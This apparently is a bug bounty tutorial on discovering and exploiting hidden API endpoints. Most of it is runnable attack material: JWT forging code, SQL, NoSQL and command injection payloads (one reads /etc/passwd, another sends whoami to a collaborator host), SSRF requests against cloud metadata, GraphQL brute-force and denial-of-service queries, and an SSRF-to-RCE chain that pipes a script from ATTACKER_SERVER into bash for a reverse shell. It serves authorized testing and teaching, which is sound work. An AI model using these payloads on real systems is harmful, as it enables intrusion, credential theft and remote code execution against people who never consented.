API security testing is the crown jewel of modern bug bounty hunting. While front-end vulnerabilities still exist, APIs are where the real treasure lies — sensitive data, privileged operations, and business logic flaws. This writeup covers the complete lifecycle of discovering, analyzing, and exploiting hidden API endpoints for bug bounty and authorized penetration testing.
Press enter or click to view image in full size
Before sending a single request, build a map of the target’s API surface using passive techniques.
Wayback Machine & Archive Analysis
# Using gau (GetAllUrls) — passive URL gathering
gau --subs target.com | grep -E "\.json|\.xml|/api/|/v[0-9]/|/graphql|/rest/|/swagger|/docs" > api_endpoints.txt# Waybackurls via waymore
waymore -i target.com -mode U -o U | grep -i api
Google Dorking for Exposed APIs
site:target.com inurl:"/api/"
site:target.com inurl:"/v1/" | inurl:"/v2/" | inurl:"/v3/"
site:target.com intitle:"Swagger UI" | intitle:"API Documentation"
site:target.com intitle:"index of" "api"
site:target.com ext:json "swagger" | ext:yaml "openapi"
site:target.com "api_key" | "api-key" | "apikey" filetype:txtCertificate Transparency Logs
# crt.sh — find subdomains with API-related names
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u | grep -iE "api|dev|staging|internal|gateway|admin"Mobile App Reverse Engineering
Decompile the mobile APK/IPA to extract embedded API endpoints:
# Android
apktool d app.apk -o decompiled
grep -r "https\?://" decompiled/ --include="*.smali" --include="*.xml" | grep -i api# iOS (via objection)
objection --gadget "com.target.app" explore
android hooking list classes | grep -i "api\|network\|request"
Subdomain Enumeration Focused on API Subdomains
# Subfinder + httpx
subfinder -d target.com -all -silent | httpx -silent -ports 80,443,8080,8443,9090,3000,5000 | tee live_subdomains.txt# Filter for API-related subdomains
cat live_subdomains.txt | grep -iE "api|gateway|backend|internal|admin|dev|staging|uat|sandbox|edge|cdn"
Directory/Endpoint Bruteforcing
Use specialized wordlists for API endpoints:
# Common API paths
ffuf -u https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt -mc all -fs 0 -fc 404# GraphQL discovery
ffuf -u https://api.target.com/FUZZ -w <(echo -e "graphql\ngraph\ngraphiql\nv1/graphql\nv2/graphql\napi/graphql\nquery\nmutations") -mc 200,301,302,403
# Swagger/OpenAPI docs
ffuf -u https://api.target.com/FUZZ -w <(echo -e "swagger.json\nswagger.yaml\napi-docs\nopenapi.json\nopenapi.yaml\ndocs\nv2/swagger.json\nv3/api-docs")
Parameter Discovery
Hidden parameters can unlock undocumented functionality:
# Arjun — parameter discovery
arjun -u https://api.target.com/v1/users --get# Paramspider
paramspider -d target.com --subs --exclude woff,css,js,png,svg,jpg
Send probe requests to identify the API technology:
Press enter or click to view image in full size
Swagger/OpenAPI Endpoints
Common paths to check:
/api/swagger.json
/api/swagger.yaml
/api/v1/swagger.json
/api/v2/swagger.json
/swagger-resources
/swagger-ui.html
/api-docs
/v2/api-docs
/v3/api-docs
/openapi.json
/docs
/redocOnce found, parse it:
# Download and parse
curl -s https://api.target.com/swagger.json | jq '.paths' | head -100# Convert to Postman collection for testing
curl -s https://api.target.com/swagger.json | npx swagger-to-postman > collection.json
GraphQL Introspection
If GraphQL is detected, attempt introspection:
# Standard introspection query
query {
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
queryType {
fields {
name
args {
name
type {
name
}
}
}
}
mutationType {
fields {
name
args {
name
type {
name
}
}
}
}
}
}# Using InQL (Burp extension or standalone)
python3 inql -t https://api.target.com/graphql -d# Using graphw00f for fingerprinting
graphw00f -d https://api.target.com/graphql
Discover hidden endpoints by fuzzing HTTP methods on known endpoints:
# Fuzz all methods on discovered endpoints
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE CONNECT; do
curl -X $method -s -o /dev/null -w "%{http_code}" https://api.target.com/v1/users
echo " - $method"
doneAutomated with ffuf:
ffuf -u https://api.target.com/v1/users \
-X FUZZ \
-w <(echo -e "GET\nPOST\nPUT\nPATCH\nDELETE\nOPTIONS") \
-mc all -fc 404,405,400Missing or Weak Auth on Hidden Endpoints
Hidden endpoints often lack proper authentication:
# Compare authenticated vs unauthenticated access
curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer $TOKEN"
curl -s https://api.target.com/v1/admin/users # No token — what happens?JWK Injection & JWT Manipulation
#!/usr/bin/env python3
"""
JWT manipulation toolkit for API testing
"""
import jwt
import requests
import json# Technique 1: Set algorithm to 'none'
def jwt_none_bypass(token, payload):
"""Set alg to 'none' — works on poorly validated JWTs"""
header = {"alg": "none", "typ": "JWT"}
# Some implementations accept 'None' (capital N)
# Try: none, None, NONE, nOnE
forged = jwt.encode(payload, "", algorithm="none")
return forged
# Technique 2: RS256 → HS256 confusion
def jwt_alg_confusion(public_key_path, payload):
"""
If the server uses RS256 but accepts HS256,
sign with the PUBLIC key (which is known) as HMAC secret
"""
with open(public_key_path, "r") as f:
public_key = f.read()
forged = jwt.encode(payload, public_key, algorithm="HS256")
return forged
# Technique 3: JWK injection (CVE-2018-0114)
def jwk_injection(payload, private_key):
"""
Craft a JWT that includes a malicious JWK in the header.
If the server trusts the embedded JWK, it validates against YOUR key.
"""
# Use python-jwt toolkit or jwk-inject.py
# Header: {"alg": "RS256", "jwk": {"kty": "RSA", "n": "...", "e": "AQAB"}}
pass
# Technique 4: Kid injection (directory traversal)
def kid_injection(payload):
"""
kid: "../../dev/null" means empty signature validation
kid: "/proc/sys/kernel/random/uuid" for DoS testing
"""
header = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../dev/null"
}
forged = jwt.encode(payload, "", algorithm="HS256", headers=header)
return forged
API Key Leakage via Referer/Origin
# Check if API keys leak in referer headers
curl -s https://api.target.com/v1/endpoint \
-H "Referer: https://api.target.com/v1/users?api_key=test123"Insecure Direct Object Reference (IDOR) / Broken Object Level Authorization (BOLA)
# Sequential ID enumeration
for id in $(seq 1 100); do
curl -s "https://api.target.com/v1/users/$id" | jq '.email'
done# UUID enumeration (less likely but test)
ffuf -u https://api.target.com/v1/orders/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-H "Authorization: Bearer $TOKEN" \
-mc 200,403,401
# Mass IDOR via parameter pollution
curl -s "https://api.target.com/v1/invoices?id=1&id=2&id=3"
curl -s "https://api.target.com/v1/invoices?id[]=1&id[]=2&id[]=3"
Mass Assignment
# Test for mass assignment on POST/PUT endpoints
curl -X PUT https://api.target.com/v1/users/me \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"name": "test",
"role": "admin",
"is_admin": true,
"balance": 999999999,
"email_verified": true,
"account_status": "active"
}'Broken Function Level Authorization (BFLA)
Join Medium for free to get updates from this writer.
Vertical privilege escalation — lower privilege user accessing admin functions:
# Replace user role token and test admin endpoints
curl -s https://api.target.com/v1/admin/users \
-H "Authorization: Bearer $(cat low_priv_token.txt)"APIs are just as vulnerable to SQLi as web apps, sometimes more so because of serialization handling:
# Classic SQLi in API
curl -s "https://api.target.com/v1/users?id=1' OR '1'='1"
curl -s "https://api.target.com/v1/users?id=1 UNION SELECT @@version"# JSON-based SQLi
curl -X POST https://api.target.com/v1/search \
-H "Content-Type: application/json" \
-d '{"query": "test' OR '1'='1"}'
# NoSQL Injection (MongoDB)
curl -X POST https://api.target.com/v1/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": ""}}'
# Command injection in API parameters
curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1;id"
curl -s "https://api.target.com/v1/exports?format=csv;cat /etc/passwd"# Blind command injection with out-of-band detection
curl -s "https://api.target.com/v1/convert?file=/tmp/test|curl http://COLLABORATOR.net/$(whoami)"
APIs that fetch external URLs are goldmines for SSRF:
# Basic SSRF
curl -s "https://api.target.com/v1/proxy?url=http://169.254.169.254/latest/meta-data/"
curl -s "https://api.target.com/v1/avatar?url=http://127.0.0.1:8080/admin"# Blind SSRF via Collaborator
curl -s "https://api.target.com/v1/webhook?url=http://COLLABORATOR.net/test"
# SSRF via cloud metadata endpoints
curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/" # AWS
curl -s "https://api.target.com/v1/import?url=http://metadata.google.internal/" # GCP
curl -s "https://api.target.com/v1/import?url=http://100.100.100.200/latest/meta-data/" # Alibaba
# InQL scanner
inql -t https://api.target.com/graphql -d# Clairvoyance — introspection even when blocked
clairvoyance https://api.target.com/graphql -o schema.json
# Batch login bruteforce — single request, many passwords
[
{"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"},
# ... 100+ more
]# Circular query — cause DoS via deep nesting
query {
user(id: 1) {
posts {
comments {
user {
posts {
comments {
user {
posts {
comments {
user { name }
}
}
}
}
}
}
}
}
}
}query {
__typename
__typename
__typename
__typename
user(id: 1) {
name
name
name
email
email
email
email
}
}# Technique 1: Header manipulation
curl -s https://api.target.com/v1/forgot-password \
-H "X-Forwarded-For: 127.0.0.1" \
-H "X-Real-IP: 127.0.0.1" \
-H "X-Originating-IP: 127.0.0.1" \
-H "X-Remote-IP: 127.0.0.1" \
-H "X-Client-IP: 127.0.0.1" \
-H "Forwarded: for=127.0.0.1"# Technique 2: Method alternation
# If POST is rate-limited, try PATCH or PUT
curl -X PATCH https://api.target.com/v1/forgot-password \
-d '{"email":"[email protected]"}'
# Technique 3: Parameter pollution
curl -s "https://api.target.com/v1/[email protected]&[email protected]"
Race Conditions / TOCTOU
#!/usr/bin/env python3
"""
Race condition testing — concurrent coupon redemption
"""
import requests
import threadingdef redeem_coupon():
r = requests.post("https://api.target.com/v1/coupons/redeem",
json={"code": "ONETIME50"},
headers={"Authorization": f"Bearer {TOKEN}"})
print(f"Status: {r.status_code}, Response: {r.text}")
# Fire 20 simultaneous requests
threads = [threading.Thread(target=redeem_coupon) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
Integer Overflow / Underflow
# Negative numbers
curl -X POST https://api.target.com/v1/cart/add \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": -100}'# Large numbers causing overflow
curl -X POST https://api.target.com/v1/transfer \
-d '{"amount": 99999999999999999999, "to": "attacker"}'
#!/bin/bash
# api-recon-pipeline.sh — full automated API recon
# Usage: ./api-recon-pipeline.sh target.comTARGET=$1
OUTDIR="api_recon_$TARGET"
mkdir -p $OUTDIR
echo "[*] Passive URL collection"
gau --subs $TARGET | tee $OUTDIR/gau_urls.txt
waybackurls $TARGET | tee -a $OUTDIR/wayback_urls.txt
echo "[*] Extract API endpoints"
cat $OUTDIR/*.txt | grep -iE "api|rest|graphql|swagger|v[0-9]" | sort -u > $OUTDIR/api_endpoints.txt
echo "[*] Subdomain enumeration"
subfinder -d $TARGET -all -silent | httpx -silent -ports 80,443,8080,8443,3000,9090 > $OUTDIR/live_subs.txt
echo "[*] Swagger/OpenAPI discovery"
ffuf -u https://FUZZ/$TARGET/swagger.json -w $OUTDIR/live_subs.txt -mc 200 -o $OUTDIR/swagger_found.json
echo "[*] Directory fuzzing on API endpoints"
while read endpoint; do
ffuf -u $endpoint/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt -mc all -fc 404 -o $OUTDIR/ffuf_$(echo $endpoint | md5sum | cut -d' ' -f1).json
done < $OUTDIR/api_endpoints.txt
echo "[*] Parameter fuzzing"
arjun -i $OUTDIR/api_endpoints.txt -o $OUTDIR/arjun_params.json
echo "[*] Done. Review files in $OUTDIR/"
Step 1: Find an endpoint that fetches URLs
# Avatar upload/profile image endpoint
curl -s "https://api.target.com/v1/profile/avatar?url=http://example.com/test.jpg"Step 2: Test for SSRF
curl -s "https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:8080/"
# Response contains internal HTML → SSRF confirmedStep 3: Port scan internal network via SSRF
for port in 80 443 3000 5000 6379 8080 8443 9200 27017; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.target.com/v1/profile/avatar?url=http://127.0.0.1:$port/")
echo "Port $port: $status"
doneStep 4: Discover internal admin panel
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=ls"
# Returns directory listing of deployment serverStep 5: Exploit for RCE
curl -s "https://api.target.com/v1/profile/avatar?url=http://internal-admin.target.internal:8080/deploy?cmd=curl+http://ATTACKER_SERVER/shell.sh+|+bash"
# Reverse shell established# Vulnerability: [Title]**Severity:** Critical / High / Medium / Low
**CVSS Score:** X.X (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
**Endpoint:** `POST /api/v1/users/forgot-password`
## Description
[Clear description of the vulnerability and its impact]
## Steps to Reproduce
1. [Step 1]
2. [Step 2]
3. [Step 3]
## Proof of Concept
```bash
# Exact curl command or script
curl -X POST https://api.target.com/v1/endpoint \
-H "Authorization: Bearer $TOKEN" \
-d '{"payload": "test"}'
[What can an attacker achieve? Data exposure? Account takeover? RCE?]
| API# | Category | What to Test |
|---|---|---|
| API1:2023 | Broken Object Level Authorization | IDOR on any object reference |
| API2:2023 | Broken Authentication | JWT bypass, rate limits, password reset |
| API3:2023 | Broken Object Property Level Mapping | Mass assignment, extra fields |
| API4:2023 | Unrestricted Resource Consumption | DoS via deep pagination, batch queries |
| API5:2023 | Broken Function Level Authorization | Vertical privilege escalation |
| API6:2023 | Unrestricted Access to Sensitive Business Flows | Automated abuse (coupons, votes) |
| API7:2023 | Server Side Request Forgery | URL fetching endpoints |
| API8:2023 | Security Misconfiguration | CORS, error handling, default creds |
| API9:2023 | Improper Inventory Management | Old versions, staging endpoints |
| API10:2023 | Unsafe Consumption of APIs | API-to-API trust issues |
---
## Essential Tools Cheatsheet
| Tool | Purpose | Install |
|---|---|---|
| **gau** | Passive URL collection | `go install github.com/lc/gau/v2/cmd/gau@latest` |
| **httpx** | HTTP probing | `go install github.com/projectdiscovery/httpx/cmd/httpx@latest` |
| **ffuf** | Directory/parameter fuzzing | `go install github.com/ffuf/ffuf@latest` |
| **arjun** | Parameter discovery | `pip install arjun` |
| **inql** | GraphQL analysis (Burp) | BApp Store or `pip install inql` |
| **graphw00f** | GraphQL fingerprinting | `git clone https://github.com/dolevf/graphw00f` |
| **jwt_tool** | JWT manipulation | `pip install pyjwt jtool` |
| **waymore** | Wayback Machine scraper | `pip install waymore` |
| **subfinder** | Subdomain discovery | `go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest` |
| **nuclei** | Template-based scanning | `go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest` |
---
## Final Words
The key to winning at API bug bounty hunting is **systematic methodology** combined with **creative thinking**. Automated tools will find the low-hanging fruit, but the critical findings come from understanding the application's business logic and chaining seemingly innocuous issues together.
Remember:
- **Every undocumented endpoint is a potential bypass**
- **If it's not in the documentation, test it harder**
- **Authentication bypass on one endpoint means trying it on every endpoint**
- **Business logic > technical complexity** for the highest bounties
Happy hunting. Stay authorized, stay methodical, and dig deeper than everyone else.
GitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent
#CyberSecurity #BugBounty #APISecurity #EthicalHacking #WebSecurity #InfoSec #BugBountyHunter #OWASP #PenTesting #APIHacking